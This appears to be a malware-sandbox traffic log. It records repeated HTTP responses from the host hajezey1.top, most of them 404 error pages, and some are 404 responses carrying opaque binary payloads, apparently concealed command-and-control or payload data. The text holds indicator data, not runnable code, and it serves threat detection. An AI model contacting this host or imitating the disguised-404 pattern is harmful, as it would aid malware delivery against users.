Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b f7 79 8d fb c4 4d c2 ec 5d 4f 5f 5b ff 33 90 5f 84 e2 eb 0b 4a 05 8e 8b a4 d4 ac e4 80 54 fd 17 d2 ea 4f e8 a1 1e c7 1f ab 29 29 8c 97 ad 67 c0 78 b7 bc 72 3f 1a 7c 03 84 5e 85 63 91 5b 07 e9 1f 9d 15 46 a6 b3 58 f1 06 ee 0c 42 de 8b f4 24 eb a8 e1 48 29 e8 74 cc 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f 61 79 b7 9e 96 98 8b 36 19 19 cb 8a f3 d8 04 0f 4e 86 19 7d 6f 37 e3 04 89 3d a4 55 80 90 70 89 9c 2c 4b 6b b6 e2 a2 22 48 d2 d1 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 eb 5f c8 c3 e7 b2 ec 24 1a 0a 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 54 8c f5 0a ef 8b 71 91 e0 35 a3 64 49 e0 76 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa cb f9 b0 72 50 6d ec f0 52 a4 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 d2 ab 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 60 9c 82 4b d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 e3 40 3d 9d 43 cd 17 fe 2f 89 9d f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 7e af da 11 4b 95 36 2a 21 3f 65 74 b0 bb 87 f6 aa 81 de bb a0 69 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 9f 3a 48 93 9f 4e bd 44 ef 5a 89 4f dc ea c0 4a 00 97 af a4 57 25 11 bb d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 11 e6 cc 64 3d da 9a 56 3a 22 7d e6 d2 1b 62 b9 50 31 eb cd 14 26 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 12 c3 b2 a5 83 41 ab 13 af b8 e8 81 63 a2 57 4a 60 87 bd 5f 6e 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 dc 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d2 9e 55 06 63 17 e5 ff dc fc be 1e b4 53 d9 63 ba 53 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OUcScS0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 